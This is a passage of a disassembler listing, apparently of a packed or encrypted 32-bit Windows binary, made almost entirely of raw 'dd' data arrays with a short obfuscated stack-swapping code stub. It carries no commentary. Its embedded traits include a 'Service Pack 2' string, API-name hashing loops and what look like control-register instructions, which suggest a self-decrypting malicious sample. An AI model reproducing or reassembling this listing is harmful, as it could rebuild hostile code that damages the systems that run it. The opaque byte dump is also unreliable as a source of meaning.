		dd 0EC65C79Dh, 0DE85707h, 95000000h, 7F960953h,	29371A09h
		dd 0D77ED777h, 12E8h, 752B1100h, 0A8B7ECC8h, 0A1C429D2h
		dd 0E11D4C94h, 59FB3214h, 8B935A5Ah, 595050CBh,	10E893h
		dd 26990000h, 5BC075B3h, 0A8F78D59h, 1FA71312h,	3FB9E5B7h
		dd 5E7AD006h, 0FF641CB1h, 35h, 64C6B100h, 2589h, 0BE660000h
		dd 8E9B34Eh, 71000000h,	609B8ACEh, 8B64696Ah, 0B7BE66C4h
		dd 0EB01CD9Ah, 8A57F800h, 8F645ACCh, 5,	52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 0F3980F4h, 8Ah, 4C48300h, 0C00BCB8Bh, 0C4840Fh, 0FBBA0000h
		dd 61477E07h, 6E9h, 59E76E00h, 8064FC31h, 0BD8DDBE5h, 7E96E15h
		dd 0B8CE8B66h, 1, 0FFFAD180h, 13E9E7h, 0F49B0000h, 50146F55h
		dd 9B735357h, 0A5EF35ABh, 0B8441CD7h, 5C8B577Fh, 838B1024h
		dd 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h, 5F020000h
		dd 6AC3C033h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 624CC351h, 65C2BE66h, 86DDB966h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 97C35747h
		dd 0E8CA3C89h, 0Dh, 863ECCD5h, 2915B93Ch, 0DA2A9865h, 6890F50h
		dd 81000000h, 32833CF2h, 6A615A7Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B46C351h
		dd 39FCB9C0h, 0BD8341A8h, 7E918A5h, 83097500h, 0E91A45BDh
		dd 19740007h, 0C08B5350h, 40EB8h, 0F5858900h, 8D07E920h
		dd 0EBD8359Dh, 5BD3FF07h, 45BD8358h, 7E91Ah, 53501774h
		dd 40EB8h, 0F5858900h, 8D07E920h, 0EBD4D69Dh, 5BD3FF07h
		dd 2800F58h, 8B000000h,	0F3B70FCBh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 96C35040h, 0E856339Eh, 12h
		dd 93C61745h, 0BFD99B29h, 31ED8C8Bh, 743E4A28h,	0AE92E3Fh
		dd 0B6000000h, 3E6E562Fh, 0FDE7C230h, 8B5A5E31h, 0D38B66C0h
		dd 18EBC28Bh, 9B46F317h, 5 dup(0)
		dd 20BE9h, 5C8B6000h, 0E82424h,	5D000000h, 673DED81h, 0C26107ECh
		dd 0E6E90004h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
		dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
		dd 0F6E90008h, 0FFFFFFh, 0
		dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 0EC6775B5h, 0E68107h
		dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h,	0EC6779B5h
		dd 0E9860F07h, 0FFFFFFFh, 220FD820h, 6160CFD8h,	8C6650C3h
		dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
		dd 7E91A75h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh,	2404FF58h
		dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 0E9237D95h, 10F5007h
		dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h,	2588966h
		dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 7E91A75h
		dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
		dd 0A03E380h, 38840FDBh, 0BB000000h, 2,	1A75858Bh, 188607E9h
		dd 850FDB0Ah, 0FFFFFFF6h, 0C8185C7h, 7E9h, 448B0000h, 988B0824h
		dd 1000h, 10009889h, 188B0000h,	0AE91889h, 0C7000000h
		dd 0E90C8185h, 10007h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
		dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
		dd 13h,	2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
		dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
		dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
		dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
		dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
		dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
		dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
		dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh, 0A8D88C66h
		dd 29840F04h, 0C7000000h, 0EC671A85h, 107h, 10F5000h, 8FFE244Ch
		dd 0EC671E85h, 16858D07h, 8D07EC67h, 0EC671EBDh, 0E9388907h
		dd 23h,	2D59858Dh, 408B07E9h, 0F3170538h, 85899B46h, 7EC6716h
		dd 2D59858Dh, 408B07E9h, 1A85893Ch, 8D07EC67h, 0EC673385h
		dd 7D858907h, 0E907E923h, 87h, 60D48B52h, 8B08728Bh, 0B2B80C7Ah
		dd 0E9A945CAh, 7, 6300600h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh
		dd 8C25Ah, 60D48B52h, 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh
		dd 7, 6280630h,	3B46C8D1h, 0F1820FF7h, 61FFFFFFh, 8C25Ah
		dd 56D48B52h, 0DB335351h, 8B08728Bh, 13E90C4Ah,	0AC000000h
		dd 840F2D3Ch, 0Ah, 13349804h, 0C3C1D832h, 0C90B4908h, 0FFE5850Fh
		dd 0C38BFFFFh, 5A5E595Bh, 8D0008C2h, 0EC69A685h, 0E1858907h
		dd 8D07E917h, 0EC69CE85h, 0FD858907h, 8D07E907h, 0EC69F685h
		dd 85858907h, 0E807E92Ch, 0Ah, 89FFBF6Dh, 84618FD4h, 0BE96406h
		dd 9D000000h, 0E00B3284h, 3390188Dh, 6059ADE9h,	66CB8B66h
		dd 61A6B3BEh, 66A6C181h, 0E6810000h, 3422CCCBh,	0BFh, 38A0F00h
		dd 0F000000h, 1C8BF7BFh, 10800F39h, 0E9000000h,	0Bh, 35DCC45Eh
		dd 0F859EC6Ah, 8112B395h, 6A3C90C3h, 13E90Dh, 0D30E0000h
		dd 0F896D8C9h, 315DADA8h, 51ECA2B8h, 0BFA67F8Dh, 92F381BEh
		dd 0B875E97Bh, 60E381C6h, 75DAC381h, 1C8961DDh,	8B66F839h
		dd 2EF83D1h, 0A354BE66h, 8B0F4F4Fh, 19h, 12E952h, 15C40000h
		dd 58C2F396h, 7346F4B6h, 0EF73C7BCh, 0BEBD45F3h, 58FF815Eh
		dd 0FFFFF9Ah, 1285h, 0E6C28100h, 0E96F8EAEh, 36h, 0F7D595h
		dd 0FE7E393h, 1481h, 0FE900h, 11080000h, 3B5CD4E8h, 0AE9E4B69h
		dd 8E6A9FCDh, 0FF4CE915h, 0A1A1FFFFh, 6A5E748Fh, 8169C1C7h
		dd 0BECB9293h, 8EBDD5Ah, 2 dup(0)
		dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 1B69858Bh
		dd 858D07E9h, 7ECB93Ah,	888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah
		dd 7EC6B5Eh, 21CDBD83h,	0F0007E9h, 0F84h, 6A6000h, 0C3195FFh
		dd 0E96107E9h, 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h
		dd 895A04CDh, 0EC6B5A85h, 5EB58B07h, 0C107EC6Bh, 896610CEh
		dd 0B58B0272h, 7EC6B5Eh, 0FC728966h, 5A858B61h,	0C307EC6Bh
		dd 575958Dh, 958907E9h,	7E91A75h, 8759589h, 85FF07E9h
		dd 7E90875h, 265985C6h,	685307E9h, 0FCB148D8h, 2669B5FFh
		dd 858D07E9h, 7E93ABCh,	8589D0FFh, 7E90C31h, 674D858Dh
		dd 858907ECh, 7E90C15h,	6E900EBh, 0E9000006h, 5FAh, 0EC6CEE68h
		dd 0F88E907h, 3468FFFDh, 0E907EC6Eh, 0FFFD0F7Eh, 0EC6EE968h
		dd 0F74E907h, 0BE68FFFDh, 0E907EC6Fh, 0FFFD0F6Ah, 0EC70CD68h
		dd 0F60E907h, 0D2EFFFDh, 0C256C273h, 759B35B8h,	0D6CE6A0Bh
		dd 0DA7FD954h, 9C9D13A2h, 0D263193Ch, 0AD2F66h,	74F98394h
		dd 0AD4032D8h, 0E3A3DEC8h, 2D287058h, 439FA91Fh, 0F0305CC5h
		dd 305CC4B0h, 5CC53C7Dh, 20912C30h, 0E97BF5A8h,	0C4E0E149h
		dd 71305C93h, 305C9456h, 5C93E5C1h, 64F37EB0h, 7F94DFD2h
		dd 9602B7B5h, 0D16BF983h, 5199E375h, 10688F57h,	5C1C339Dh
		dd 0B522CD80h, 64276E23h, 0B5EFAFCCh, 369AE83Ch, 4778F4BCh
		dd 47Ch, 48E597A4h, 833248ECh, 0F07DFF11h, 27CE4C44h, 991460F5h
		dd 0A74A2603h, 0A5FC58D5h, 0D228E27h, 0C456C273h, 48523BBAh
		dd 70595959h, 2381BB28h, 0ED6A04Ah, 5CC53C97h, 630A0630h
		dd 59DBCB93h, 8733FF85h, 5C183D75h, 0C16C0280h,	0F0BCC557h
		dd 0ACF06568h, 84300CA2h, 9C380476h, 97230379h,	7F2AFA82h
		dd 7946B455h, 98B27617h, 433EB8E8h, 305C5743h, 0FD41D7CDh
		dd 74B456E7h, 94BE9EC1h, 65FF6F06h, 5C4E6C2Ch, 32FEA430h
		dd 31572F91h, 3BB4F84h,	4A1B0000h, 970ED6A0h, 305CC53Ch
		dd 865E1832h, 8B5B25CAh, 2DC97094h, 5CC53474h, 30C6DC30h
		dd 5A8E2F61h, 0A834C6B0h, 0D266F785h, 3522C74Dh, 94F9C42Ch
		dd 1617970Ah, 9DF9305Ch, 0AD710785h, 0B7580E21h, 12BE37C5h
		dd 18A67EF8h, 0D799C28Dh, 2EE9424h, 0CE60C96Fh,	0C08C1EACh
		dd 19E44C2Eh, 4DE79DBFh, 5C5F5454h, 0B3E6BC30h,	305C5EF3h
		dd 0EA3A42D5h, 58EEB4D8h, 8AF406CEh, 88AC28BAh,	589012F2h
		dd 0DB594804h, 5F8F2B5Ah, 0C25B305Ch, 0B4139F1Eh, 2E8A66C0h
		dd 0D4A975F7h, 453CCE59h, 37B4F6AEh, 0DB139E04h, 0FB340D34h
		dd 336746Bh, 0DD7E0000h, 92A612A3h, 45EB45E8h, 61EBA3Bh
		dd 0AA4FE984h, 6CCD23D2h, 0E293E90Ch, 50DD5FB6h, 842953E4h
		dd 0FD700228h, 13930E98h, 0FD287057h, 0A04A99CFh, 0A8420ED6h
		dd 0A52257F8h, 8C596A28h, 0F945DB69h, 0A9D367EFh, 906C082Dh
		dd 0A3F22612h, 0EA780017h, 77E03C4Bh, 0A22A305Ch, 4706F28Ch
		dd 305C676Bh, 0ACECA53Fh, 64305C66h, 0CFC6F23Eh, 5EA6D67Bh
		dd 0B824B644h, 8A18E496h, 379372AEh, 0C8305C67h, 9620BA2Dh
		dd 670585FCh, 950F305Ch, 670E8E03h, 9C06305Ch, 4C1AB554h
		dd 7AE237B5h, 0F87A90D0h, 334DE26Ah, 0E0891BC7h, 340D82D0h
		dd 817F50ECh, 0A3000002h, 0EB45E888h, 1CB83547h, 43ED80FAh
		dd 0F05CD153h, 6961F5Dh, 0D89CB121h, 2AAAFB55h,	7606298Bh
		dd 0BDBF5DFFh, 5E534F30h, 2870575Eh, 782684B6h,	0AA44EFEDh
		dd 6CC4947Eh, 46D0A248h, 3E06789Eh, 680A20A4h, 8E220E94h
		dd 0F64E28C2h, 0C432DB25h, 5737772Ah, 0CFD9305Ch, 5C56D2D2h
		dd 0D2604230h, 0DE98B266h, 4E12F257h, 0E66C8431h, 76000001h
		dd 773BDC78h, 394B9BE5h, 6D0F23ABh, 26271391h, 305CC58Ah
		dd 2B3CD62h, 27C98196h,	0DAAB3552h, 740AA718h, 62B21AA8h
		dd 0F4F252E0h, 6BBB3968h, 12259159h, 0BFC19A6Ah, 3B45EA1Eh
		dd 651725A1h, 4183008Dh, 0BD843161h, 48h, 37A0B305h, 0A331ECA5h
		dd 0A30137B5h, 0DDACC16h, 5F70CC34h, 1ACh, 981567F4h, 0D362183Ch
		dd 0ADCF61h, 77FE7C94h,	0A94430C5h, 779AF633h, 0D5CC6805h
		dd 0DD72DE57h, 94A612A3h, 78224BEAh, 70568909h,	13718B28h
		dd 69B92581h, 0CD891BEBh, 0F78D512Bh, 0ACF4AD3Bh, 64305CC4h
		dd 45EAE63Eh, 0FC1EBA3Bh, 49EFA282h, 5AFD5FD6h,	0B219322h
		dd 0E8399569h, 0FAA4C964h, 66BEB852h, 9F12945Ch, 305CC51Fh
		dd 97385F1h, 831DAB7Bh,	5CC58E0Eh, 0D41C8630h, 812C4EE0h
		dd 0ED645EEh, 23D2AC42h, 5CC58824h, 0C9B85230h,	305CC4C9h
		dd 0E72572B2h, 3B5B2159h, 41EC8169h, 22AA44D6h,	0ABE670F2h
		dd 305BC9EBh, 0D2B37F25h, 37B49F2Fh, 94E40B67h,	0CC62E030h
		dd 0FC7E923Ah, 0C569F571h, 0F1556FB7h, 0E3D723A1h, 0E5D12D4Fh
		dd 0CCDA2A52h, 0C2224F31h, 0D2CFE04Fh, 28720AD2h, 66D26042h
		dd 40D763B2h, 48DEE438h, 4336D8F4h, 10075176h, 0B08C22CBh
		dd 53E572FDh, 0CB6F935Eh, 8A1032Fh, 3C37AC34h, 9D5304D8h
		dd 87000000h, 0CF690474h, 70DC512Bh, 0A7119CDEh, 0D440ED6Fh
		dd 22BA3B41h, 0F4809505h, 46C6DF79h, 92EA0DAFh,	0D99BB1E3h
		dd 3A773354h, 2870557Ah, 4A02609Ah, 33B1E0A0h, 0C4A8E899h
		dd 3A68305Ch, 864E58A4h, 0AE340872h, 10DC0D1Fh,	0B57D3695h
		dd 0B589EB01h, 35FF9EE6h, 6BD85527h, 8430F199h,	10D5h
		dd 449FED00h, 3A305CC5h, 76CF6610h, 19h, 0C5439F88h, 1725305Ch
		dd 0E40BD365h, 3FCBDE93h, 8210FE0Eh, 0C5C820A2h, 0E5FB527Dh
		dd 0Ch,	0A8D97335h, 305CC4E8h, 0CBE7A28h, 0FD7A14Ah, 77CFA943h
		dd 78C4B45Bh, 7FC7455Ch, 66BEBE53h, 69B5C76Ah, 6FB7356Dh
		dd 53B3CD63h, 55A9D367h, 0E089505Eh, 405h, 4E88300h, 5C240487h
		dd 68243489h, 2289h, 56240C89h,	0C681E689h, 4, 4EE81h
		dd 34870000h, 1C895C24h, 93B85024h, 2D7E544Bh, 7667DF2Fh
		dd 242C8150h, 2A0237ACh, 0ACC18159h, 582A0237h,	241C8B54h
		dd 4C481h, 75680000h, 89000015h, 438F240Ch, 241C8B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		dd 910E2CA3h, 0BC936BA0h, 750647E7h, 8FB80F45h,	307EC71h
		dd 0E9D18BC5h, 51h, 24748B60h, 3C760324h, 28247C8Bh, 0C281D68Bh
		dd 0F8h, 64E8B66h, 83C9B70Fh, 840F00F9h, 16h, 0F0C7A3Bh
		dd 158Fh, 28EA8300h, 8B0C428Bh,	0C12B144Ah, 7C89F82Bh
		dd 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh, 0FFFFE9E9h
		dd 0FD3EBAFFh, 20EB0009h, 8 dup(0)
		dd 575E9h, 569E900h, 40680000h,	0E907EC74h, 0FFFD08FEh
		dd 0EC751268h, 8F4E907h, 0BD68FFFDh, 0E907EC76h, 0FFFD08EAh
		dd 0EC772C68h, 8E0E907h, 8DAEFFFDh, 42D642F3h, 0F51BB538h
		dd 564EEA8Bh, 5AFF59D4h, 1C1D9322h, 52E399BCh, 802DAFE6h
		dd 0F4790314h, 2DC0B258h, 63235E48h, 0AD287053h, 0ED78299Fh
		dd 142CEF69h, 0EECA269Fh, 37EE3648h, 0B05C749Bh, 0FF1CBD41h
		dd 4311405h, 3361h, 0A9F96500h,	5AFFDB2Bh, 32C0C222h, 449FC4C6h
		dd 0C3305CC5h, 9B35C750h, 805C1C33h, 79396802h,	9B305CC5h
		dd 32202109h, 5E37B152h, 3514A944h, 0AE000000h,	46C4DC78h
		dd 7D0CE4FEh, 305CC561h, 56E077E2h, 2F6F22BCh, 0E1305CC5h
		dd 0E89677C3h, 0A437B151h, 0DFD26CFEh, 287051DFh, 0F0377431h
		dd 4D924500h, 0D46E73BFh, 0ADAA44Ah, 5CC53E9Bh,	39DE9B0h
		dd 5CC50E8Eh, 549C06B0h, 0E9758128h, 0D9FD3547h, 3EA84537h
		dd 24F88296h, 9A9F529Eh, 0A23E7305h, 92B05CB5h,	6A80CC10h
		dd 143D010Fh, 0EE7C9A72h, 96012C47h, 38AA8D04h,	3E68B7B5h
		dd 733A4343h, 880C05A8h, 3C662EB4h, 13AF56AEh, 0D5A8733Ah
		dd 0DAE73FBDh, 0E882CC9Dh, 0CE62EAF5h, 7006709Ah, 8B1DFACh
		dd 2BD27EEAh, 19EB16EEh, 6D500Ch, 78720000h, 0E8403ADCh
		dd 8B9B3A35h, 0B0E17B09h, 37B1588Bh, 0C38B1D87h, 0AA64F29h
		dd 431B96E0h, 6334089Ch, 324FCD3h, 0E10A0000h, 9EB21E97h
		dd 51E751DCh, 0FA2A862Fh, 0B65BF578h, 78B12FC6h, 0EE87F518h
		dd 5CD15342h, 901D5FF0h, 0C9641624h, 787FAA4h, 9287051h
		dd 0DC788DF3h, 0E7FD413Bh, 0C55C5C55h, 0EEB4305Ch, 2E08D02h
		dd 78D50000h, 84403ADCh, 0F6220E8Ch, 5FC61E60h,	305CC583h
		dd 15978F57h, 8E7FBBC9h, 305CC3B2h, 7438DC78h, 3C469E1Ch
		dd 28342AEh, 11305CC4h,	305CC3B5h, 5CC44662h, 77A1430h
		dd 305CC487h, 0AA821B89h, 9146AF48h, 456160C8h,	0DEF05C5Ch
		dd 9832C453h, 5C13930Eh, 0A7FD705Ch, 80681027h,	0B03AE2C1h
		dd 92723077h, 6A737914h, 0FE052C66h, 6FFC7F32h,	6FE87232h
		dd 7200A268h, 0CBE2A9D8h, 72306FC8h, 3109B9C7h,	96C905FCh
		dd 252h, 2CC1B358h, 670E6C80h, 0D4592335h, 0BAA2878h, 7DF084A9h
		dd 0CB6E4AEFh, 81903CB1h, 31C67203h, 0E00AA64Fh, 2C761F96h
		dd 70503575h, 0FFADDF28h, 58D1A04Ah, 0D4103D64h, 0DD906C02h
		dd 7E33C552h, 37B0A3CCh, 1B34260h, 53FB8DEFh, 1A9888BEh
		dd 0CE2AB884h, 0BDBF51C3h, 1681AC61h, 32130D84h, 7BE32FC4h
		dd 485AAA2Ah, 32C3C3BEh, 574D2083h, 0ADF79Bh, 83336541h
		dd 85A93520h, 0BA482CC1h, 0B6C86E6Ah, 37C6546Eh, 163B6ED2h
		dd 752800C6h, 0A6DB6DFAh, 27D7BD70h, 8854E6BCh,	19D1062h
		dd 0BE7A3A77h, 89A1896h, 1466F420h, 0BE4D59C8h,	7BF61896h
		dd 3D275AECh, 531FEB4Bh, 0FD1FC751h, 0B446F283h, 0FF8B7ACAh
		dd 2010AA4Bh, 9908A235h, 17FED89Fh, 0D985178Dh,	1EB74133h
		dd 10248600h, 7D089A6Ah, 0EE4ADC48h, 6DE983E3h,	5250ACC8h
		dd 0BE0F5F5Fh, 7F3B108h, 6DFF7993h, 13657AD0h, 48A47D71h
		dd 1143DA2Fh, 9BD72357h, 2ABC2BC6h, 12AD0977h, 0C11D8710h
		dd 0D1AD8420h, 0AF2D6400h, 0A4D47B57h, 78212758h, 0AD83037Eh
		dd 178D00D1h, 9435D981h, 0BBF87D47h, 1AF9B3h, 9FC90000h
		dd 305CA843h, 6C2F7E17h, 0AC126234h, 154B44h, 17BF0000h
		dd 12B07800h, 0E9FEED78h, 7D0293BBh, 0D2F8D4B5h, 0B3E6305Bh
		dd 39A537A0h, 0B8C05713h, 60C8DA2Ah, 52190B86h,	61ED37B1h
		dd 7A56AECEh, 801AA82Ah, 70529111h, 0C9218328h,	0D2A77F25h
		dd 4B46D047h, 2FC93210h, 5426CAA6h, 0CD64FA88h,	3C316385h
		dd 0A796C905h, 0F7000000h, 3F991464h, 60CC611Bh, 9701ACCEh
		dd 0C470FD7Fh, 32AA4B31h, 47085F5h, 56D6CF69h, 0A2DA7DDFh
		dd 0E98BA113h, 0A872344h, 28704F8Ah, 0B312708Ah, 0BA537A0h
		dd 0C7D65343h, 54CC5CEDh, 0DEE438CEh, 5FA7D97Eh, 2A1CED45h
		dd 637B143h, 628D409Ch,	0DFCA63F5h, 464E6CC8h, 8B06E048h
		dd 2FC92C78h, 73CD643Eh, 133C3169h, 38ECC3h, 0D5660000h
		dd 8AAE0AABh, 3DD37DF0h, 0E06B243h, 0A2B7E18Ch,	64C55BDAh
		dd 1A9BE174h, 48E567BEh, 0BC314BECh, 0F578FA10h, 1B9B1690h
		dd 0F528704Eh, 351E1C7h, 0F1000000h, 0A14AF654h, 0A9430FD7h
		dd 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h
		dd 0CD636FB7h, 0D36753B3h, 525E55A9h, 0C281E289h, 4, 8704EA83h
		dd 248B2414h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
		dd 242C895Ch, 199068h, 243C8900h, 5ACDB850h, 2D4058ADh
		dd 701526E7h, 2D03E0C1h, 5F7C7638h, 0DE1A472Dh,	642B057Fh
		dd 8150A285h, 53212404h, 815D7C0Fh, 0F5321EDh, 868587Ch
		dd 8900007Eh, 4812424h,	424h, 52505F00h, 0D089EA89h, 847895Ah
		dd 243C8B58h, 81E18951h, 4C1h, 4C18100h, 87000000h, 0FF5C240Ch
		dd 815D2434h, 4C4h, 3A0E900h, 0B805FFFDh, 7EC7789h, 0C88BC503h
		dd 14E8h, 0BA176900h, 2C1F16B7h, 0AC22A18Ah, 5287B46Eh
		dd 14C88D90h, 0F18B664Bh, 0D01BBE59h, 0C181392Eh, 5A5Bh
		dd 3860Fh, 8B660000h, 0BFD0h, 0C18B0000h, 60391C8Bh, 1840Fh
		dd 0FF80000h, 8161CEBFh, 8E9BF5C3h, 0DDF38151h,	53522925h
		dd 0C637DA81h, 815E2E31h, 612A9AEBh, 12E835h, 67E90000h
		dd 0CDD67F7Dh, 67512657h, 0E6481895h, 17BCA309h, 0AE8h
		dd 0C9C1A700h, 0AA36972Eh, 66235347h, 5A8277B8h, 391C895Eh
		dd 1F8C0Fh, 13E80000h, 0A000000h, 266915Ch, 66B3A9D8h
		dd 97BE7E8Ch, 0C51B13C6h, 810FAF07h, 0
		dd 6850F58h, 81000000h,	0F7194FF2h, 4EF8355h, 81C38B66h
		dd 0FFA6A0FFh, 0E850FFFh, 0F000000h, 29E9C2BFh,	57000000h
		dd 23ABB93Ah, 12E970h, 0EF60000h, 2B6D59FBh, 19BBFD81h
		dd 0E3AC4D54h, 1327BE0Eh, 0FFFF3BE9h, 2BEBD2FFh, 0C2C2AD97h
		dd 145E9h, 0F7F5F700h, 95ECE728h, 715893DAh, 0B6CFDF06h
		dd 5D54FDBEh, 0ECA43636h, 5DD500BCh, 76D352C5h,	0FC94A4D6h
		dd 0AEC44100h, 77CB50C1h, 0ACAC3252h, 46BF009Ch, 90ADFC6Ch
		dd 0A3365973h, 72E275D6h, 90BD9Ch, 8CE693DDh, 0A592A79Bh
		dd 0A7ABDD64h, 918F9792h, 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh
		dd 0E592B69Fh, 0BDF694B6h, 0B3EBB59Eh, 93D0EC96h, 97BF999Ch
		dd 0F55CFD7Bh, 0AFF49389h, 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h
		dd 622D4457h, 0AE29B0F3h, 2Ch, 34h, 38h, 2 dup(0)
		dd 4, 94h, 5, 1, 0A28h,	2, 76726553h, 20656369h, 6B636150h
		dd 3220h, 1Eh dup(0)
		dd 0E8E90000h, 68000020h, 7EC7CC5h, 0FD0139E9h,	7DD768FFh
		dd 2FE907ECh, 68FFFD01h, 7EC7E73h, 0FD0125E9h, 7F2C68FFh
		dd 1BE907ECh, 68FFFD01h, 7EC8012h, 0FD0111E9h, 80E768FFh
		dd 7E907ECh, 68FFFD01h,	7EC81BAh, 0FD00FDE9h, 829F68FFh
		dd 0F3E907ECh, 68FFFD00h, 7EC8705h, 0FD00E9E9h,	877B68FFh
		dd 0DFE907ECh, 68FFFD00h, 7EC88CBh, 0FD00D5E9h,	8BFD68FFh
		dd 0CBE907ECh, 68FFFD00h, 7EC8F4Fh, 0FD00C1E9h,	92DB68FFh
		dd 0B7E907ECh, 68FFFD00h, 7EC947Dh, 0FD00ADE9h,	94E568FFh
		dd 0A3E907ECh, 68FFFD00h, 7EC9549h, 0FD0099E9h,	95B068FFh
		dd 8FE907ECh, 68FFFD00h, 7EC9757h, 0FD0085E9h, 984168FFh
		dd 7BE907ECh, 68FFFD00h, 7EC9A00h, 0FD0071E9h, 82F219FFh
		dd 0CFAD41F3h, 1A648A26h, 6BE9399Bh, 0B1CB6ECAh, 2F8BAC3Ch
		dd 51C3720Ah, 8731BC40h, 0CB650870h, 0B9DE5721h, 49F4B4EDh
		dd 0EE1C2870h, 0D6A04AB8h, 0CEA8420Eh, 0D2EC727h, 0E4E70A67h
		dd 0CF6A07F3h, 9934CE58h, 0AB2746Fh, 21200856h,	37B59C42h
		dd 13F25250h, 28739CB7h, 3E361B1h, 5D9A3B7h, 9D86067Bh
		dd 148E2873h, 2BCE6F61h, 0FC13B70Ah, 0D0881EB0h, 744C8D2Ch
		dd 0F28C1A47h, 4Ah, 0CEED78D0h,	4E8ECB0Dh, 2EF688AEh, 772A0694h
		dd 0A8D973E4h, 37B58829h, 14A13B69h, 0C6D2F8C5h, 0C864CC7Ah
		dd 72C67D59h, 3EDF6328h, 3CE92DB8h, 94FA9A2Ch, 815D1F30h
		dd 2C943703h, 18C19E4h,	6FCBB145h, 10732h, 0A04A9000h
		dd 0AF420ED6h, 942AAAFBh, 0FFA73E48h, 27D036C6h, 39506B65h
		dd 0D4EB50ACh, 0D8EA3A40h, 20CAEE4Ah, 28C28E56h, 1FA0A74Eh
		dd 0BB305C7Eh, 0EEAEE391h, 26305C7Dh, 0D547EE7Ch, 14E93547h
		dd 85FC8E19h, 37B56C32h, 4C08A200h, 770DD1ABh, 1DA836BBh
		dd 0AEA7AC72h, 0D5886026h, 463BCD5Ah, 2FC7ECF8h, 52660994h
		dd 1DB4136Bh, 0CA63FD8Fh, 0EED64641h, 0D95B4A2Ch, 1E97F05h
		dd 62F48095h, 5EACCFCBh, 0BC4E444Ch, 8826C5C5h,	9D554F20h
		dd 0EC91A410h, 91A70896h, 640DA361h, 3C30D28Fh,	0E73E91ADh
		dd 8F00001Dh, 37610C6Ch, 78D45923h, 0AF09A4D6h,	0DC78F577h
		dd 3AB24339h, 0FC789DFDh, 4ECEC771h, 9AE275A7h,	0E193B91Bh
		dd 27F2B4Ch, 28704982h,	4A0A7892h, 0AA43D5A7h, 55F5FF20h
		dd 0D2F96026h, 4C816BEh, 9E4EE776h, 25D52B47h, 0C654C0CDh
		dd 6ABA22B4h, 0A28E14E8h, 7C35CF5Fh, 305C403Ch,	0A062CED4h
		dd 0A537A0B3h, 0B5AAEDECh, 60F75F37h, 9988C418h, 2BB9CB1Bh
		dd 0F78123CFh, 46B2CA6Fh, 0AA5F7B2Ah, 0F9052873h, 0D00FA650h
		dd 0C1D4E582h, 89F306C6h, 7AA262A1h, 0B4DC8C1Ah, 0E6000000h
		dd 0DFD2A04Ah, 305CC4DFh, 1DD7331h, 8D4A0B5h, 5CC15899h
		dd 1E58F230h, 0A84F1797h, 0BA760CD0h, 5CB4FC1Eh, 21F448DEh
		dd 9A17A136h, 37B5AF47h, 0ADAB2EFh, 3971D43Fh, 30B5EDA0h
		dd 0E86C0297h, 0D9EB3BB9h, 64F7AA4Bh, 512859F3h, 9B2FC783h
		dd 815D1F33h, 594B3703h, 8AF207CFh, 0C7E27BEBh,	0A709D4A0h
		dd 50E5D119h, 9D828D24h, 0B2823C31h, 1CD51Dh, 0FE7E9D00h
		dd 4B31C577h, 96E80EAAh, 0E765BD1Fh, 2D4FE24Eh,	0A30F2880h
		dd 0D547EE8Eh, 1BB538BCh, 4FE984F4h, 3D22D3ADh,	48703061h
		dd 6AA02870h, 0D5A74A34h, 4749B43h, 0E577A12Ch,	4AA81A9Bh
		dd 420ED6A0h, 8027CEA8h, 0DC7DF864h, 0E7FD413Bh, 17CAC751h
		dd 9F37B59Fh, 58700105h, 0E9C5062Fh, 874FD94Eh,	0BD7D0870h
		dd 0F17C98FDh, 255C4AA6h, 733DB302h, 0FFB29210h, 6CE9EC7Ch
		dd 3D5FFDAEh, 0C641DAFh, 0A46B5475h, 4AE06CFEh,	12B8528h
		dd 0B88DFA77h, 1B2BE7AEh, 1C39A4h, 62123900h, 0AFCD61D3h
		dd 0FA84AA06h, 4BC9D97Bh, 91EB0EAAh, 0CFAB8C1Ch, 71A3522Ah
